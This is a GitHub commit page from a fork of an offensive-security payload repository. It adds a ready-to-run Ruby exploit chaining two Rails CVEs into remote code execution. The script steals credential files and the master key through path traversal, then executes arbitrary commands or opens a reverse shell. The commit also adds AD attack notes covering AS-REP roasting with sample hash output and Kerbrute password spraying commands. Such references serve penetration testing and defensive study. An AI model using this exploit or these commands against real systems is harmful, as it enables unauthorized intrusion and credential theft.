forked from swisskyrepo/PayloadsAllTheThings
-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
SAML exploitation + ASREP roasting + Kerbrute
- Loading branch information
1 parent
9d3ecce
commit 5d1b8bc
Showing
6 changed files
with
389 additions
and
6 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,156 @@ | ||
require 'erb' | ||
require "./demo-5.2.1/config/environment" | ||
require "base64" | ||
require 'net/http' | ||
|
||
$proxy_addr = '127.0.0.1' | ||
$proxy_port = 8080 | ||
|
||
$remote = "http://172.18.0.3:3000" | ||
$ressource = "/demo" | ||
|
||
puts "\nRails exploit CVE-2019-5418 + CVE-2019-5420 = RCE\n\n" | ||
|
||
print "[+] Checking if vulnerable to CVE-2019-5418 => " | ||
uri = URI($remote + $ressource) | ||
req = Net::HTTP::Get.new(uri) | ||
req['Accept'] = "../../../../../../../../../../etc/passwd{{" | ||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| | ||
http.request(req) | ||
} | ||
if res.body.include? "root:x:0:0:root:" | ||
puts "\033[92mOK\033[0m" | ||
else | ||
puts "KO" | ||
abort | ||
end | ||
|
||
print "[+] Getting file => credentials.yml.enc => " | ||
path = "../../../../../../../../../../config/credentials.yml.enc{{" | ||
for $i in 0..9 | ||
uri = URI($remote + $ressource) | ||
req = Net::HTTP::Get.new(uri) | ||
req['Accept'] = path[3..57] | ||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| | ||
http.request(req) | ||
} | ||
if res.code == "200" | ||
puts "\033[92mOK\033[0m" | ||
File.open("credentials.yml.enc", 'w') { |file| file.write(res.body) } | ||
break | ||
end | ||
path = path[3..57] | ||
$i +=1; | ||
end | ||
|
||
print "[+] Getting file => master.key => " | ||
path = "../../../../../../../../../../config/master.key{{" | ||
for $i in 0..9 | ||
uri = URI($remote + $ressource) | ||
req = Net::HTTP::Get.new(uri) | ||
req['Accept'] = path[3..57] | ||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| | ||
http.request(req) | ||
} | ||
if res.code == "200" | ||
puts "\033[92mOK\033[0m" | ||
File.open("master.key", 'w') { |file| file.write(res.body) } | ||
break | ||
end | ||
path = path[3..57] | ||
$i +=1; | ||
end | ||
|
||
print "[+] Decrypt secret_key_base => " | ||
credentials_config_path = File.join("../", "credentials.yml.enc") | ||
credentials_key_path = File.join("../", "master.key") | ||
ENV["RAILS_MASTER_KEY"] = res.body | ||
credentials = ActiveSupport::EncryptedConfiguration.new( | ||
config_path: Rails.root.join(credentials_config_path), | ||
key_path: Rails.root.join(credentials_key_path), | ||
env_key: "RAILS_MASTER_KEY", | ||
raise_if_missing_key: true | ||
) | ||
if credentials.secret_key_base != nil | ||
puts "\033[92mOK\033[0m" | ||
puts "" | ||
puts "secret_key_base": credentials.secret_key_base | ||
puts "" | ||
end | ||
|
||
puts "[+] Getting reflective command (R) or reverse shell (S) => " | ||
loop do | ||
begin | ||
input = [(print 'Select option R or S: '), gets.rstrip][1] | ||
if input == "R" | ||
puts "Reflective command selected" | ||
command = [(print "command (\033[92mreflected\033[0m): "), gets.rstrip][1] | ||
elsif input == "S" | ||
puts "Reverse shell selected" | ||
command = [(print "command (\033[92mnot reflected\033[0m): "), gets.rstrip][1] | ||
else | ||
puts "No option selected" | ||
abort | ||
end | ||
|
||
command_b64 = Base64.encode64(command) | ||
|
||
print "[+] Generating payload CVE-2019-5420 => " | ||
secret_key_base = credentials.secret_key_base | ||
key_generator = ActiveSupport::CachingKeyGenerator.new(ActiveSupport::KeyGenerator.new(secret_key_base, iterations: 1000)) | ||
secret = key_generator.generate_key("ActiveStorage") | ||
verifier = ActiveSupport::MessageVerifier.new(secret) | ||
if input == "R" | ||
code = "system('bash','-c','" + command + " > /tmp/result.txt')" | ||
else | ||
code = "system('bash','-c','" + command + "')" | ||
end | ||
erb = ERB.allocate | ||
erb.instance_variable_set :@src, code | ||
erb.instance_variable_set :@filename, "1" | ||
erb.instance_variable_set :@lineno, 1 | ||
dump_target = ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result | ||
|
||
puts "\033[92mOK\033[0m" | ||
puts "" | ||
url = $remote + "/rails/active_storage/disk/" + verifier.generate(dump_target, purpose: :blob_key) + "/test" | ||
puts url | ||
puts "" | ||
|
||
print "[+] Sending request => " | ||
uri = URI(url) | ||
req = Net::HTTP::Get.new(uri) | ||
req['Accept'] = "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8" | ||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| | ||
http.request(req) | ||
} | ||
if res.code == "500" | ||
puts "\033[92mOK\033[0m" | ||
else | ||
puts "KO" | ||
abort | ||
end | ||
|
||
if input == "R" | ||
print "[+] Getting result of command => " | ||
uri = URI($remote + $ressource) | ||
req = Net::HTTP::Get.new(uri) | ||
req['Accept'] = "../../../../../../../../../../tmp/result.txt{{" | ||
res = Net::HTTP.start(uri.hostname, uri.port, $proxy_addr, $proxy_port) {|http| | ||
http.request(req) | ||
} | ||
if res.code == "200" | ||
puts "\033[92mOK\033[0m\n\n" | ||
puts res.body | ||
puts "\n" | ||
else | ||
puts "KO" | ||
abort | ||
end | ||
end | ||
|
||
rescue Exception => e | ||
puts "Exiting..." | ||
abort | ||
end | ||
end |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
|
@@ -13,13 +13,15 @@ | |
* [Silver Tickets](#passtheticket-silver-tickets) | ||
* [Trust Tickets](#trust-tickets) | ||
* [Kerberoast](#kerberoast) | ||
* [KRB_AS_REP roasting](#krb_as_rep-roasting) | ||
* [Pass-the-Hash](#pass-the-hash) | ||
* [OverPass-the-Hash (pass the key)](#overpass-the-hash-pass-the-key) | ||
* [Capturing and cracking NTLMv2 hashes](#capturing-and-cracking-ntlmv2-hashes) | ||
* [NTLMv2 hashes relaying](#ntlmv2-hashes-relaying) | ||
* [Dangerous Built-in Groups Usage](#dangerous-built-in-groups-usage) | ||
* [Trust relationship between domains](#trust-relationship-between-domains) | ||
* [PrivExchange attack](#privexchange-attack) | ||
* [Password spraying](#password-spraying) | ||
* [Privilege Escalation](#privilege-escalation) | ||
* [PrivEsc Local Admin - Token Impersonation (RottenPotato)](#privesc-local-admin---token-impersonation-rottenpotato) | ||
* [PrivEsc Local Admin - MS16-032](#privesc-local-admin---ms16-032---microsoft-windows-7--10--2008--2012-r2-x86x64) | ||
|
@@ -74,6 +76,12 @@ | |
pingcastle.exe --healthcheck --server <DOMAIN_CONTROLLER_IP> --user <USERNAME> --password <PASSWORD> --advanced-live --nullsession | ||
``` | ||
* [Kerbrute](https://github.com/ropnop/kerbrute) | ||
```powershell | ||
./kerbrute passwordspray -d <DOMAIN> <USERS.TXT> <PASSWORD> | ||
``` | ||
## Most common paths to AD compromise | ||
### MS14-068 (Microsoft Kerberos Checksum Validation Vulnerability) | ||
|
@@ -380,6 +388,42 @@ hashcat -m 13100 -a 0 hash.txt crackstation.txt | |
./john ~/hash.txt --wordlist=rockyou.lst | ||
``` | ||
|
||
### KRB_AS_REP Roasting | ||
|
||
If a domain user does not have Kerberos preauthentication enabled, an AS-REP can be successfully requested for the user, and a component of the structure can be cracked offline a la kerberoasting | ||
|
||
```powershell | ||
C:\>git clone https://github.com/GhostPack/Rubeus#asreproast | ||
C:\Rubeus>Rubeus.exe asreproast /user:TestOU3user | ||
______ _ | ||
(_____ \ | | | ||
_____) )_ _| |__ _____ _ _ ___ | ||
| __ /| | | | _ \| ___ | | | |/___) | ||
| | \ \| |_| | |_) ) ____| |_| |___ | | ||
|_| |_|____/|____/|_____)____/(___/ | ||
v1.3.4 | ||
[*] Action: AS-REP roasting | ||
[*] Target User : TestOU3user | ||
[*] Target Domain : testlab.local | ||
[*] SamAccountName : TestOU3user | ||
[*] DistinguishedName : CN=TestOU3user,OU=TestOU3,OU=TestOU2,OU=TestOU1,DC=testlab,DC=local | ||
[*] Using domain controller: testlab.local (192.168.52.100) | ||
[*] Building AS-REQ (w/o preauth) for: 'testlab.local\TestOU3user' | ||
[*] Connecting to 192.168.52.100:88 | ||
[*] Sent 169 bytes | ||
[*] Received 1437 bytes | ||
[+] AS-REQ w/o preauth successful! | ||
[*] AS-REP hash: | ||
[email protected]:858B6F645D9F9B57210292E5711E0...(snip)... | ||
``` | ||
|
||
### Pass-the-Hash | ||
|
||
The types of hashes you can use with Pass-The-Hash are NT or NTLM hashes. | ||
|
@@ -498,6 +542,16 @@ Alternatively you can use the Metasploit module | |
[`use auxiliary/scanner/http/exchange_web_server_pushsubscription`](https://github.com/rapid7/metasploit-framework/pull/11420) | ||
### Password spraying | ||
Password spraying refers to the attack method that takes a large number of usernames and loops them with a single password. Using `kerbrute`, a tool to perform Kerberos pre-auth bruteforcing. | ||
```powershell | ||
root@kali:~$ ./kerbrute_linux_amd64 userenum -d lab.ropnop.com usernames.txt | ||
root@kali:~$ ./kerbrute_linux_amd64 passwordspray -d lab.ropnop.com domain_users.txt Password123 | ||
``` | ||
## Privilege Escalation | ||
### PrivEsc Local Admin - Token Impersonation (RottenPotato) | ||
|
Loading
Sorry, something went wrong. Reload?
Sorry, we cannot display this file.
Sorry, this file is invalid so it cannot be displayed.
Oops, something went wrong.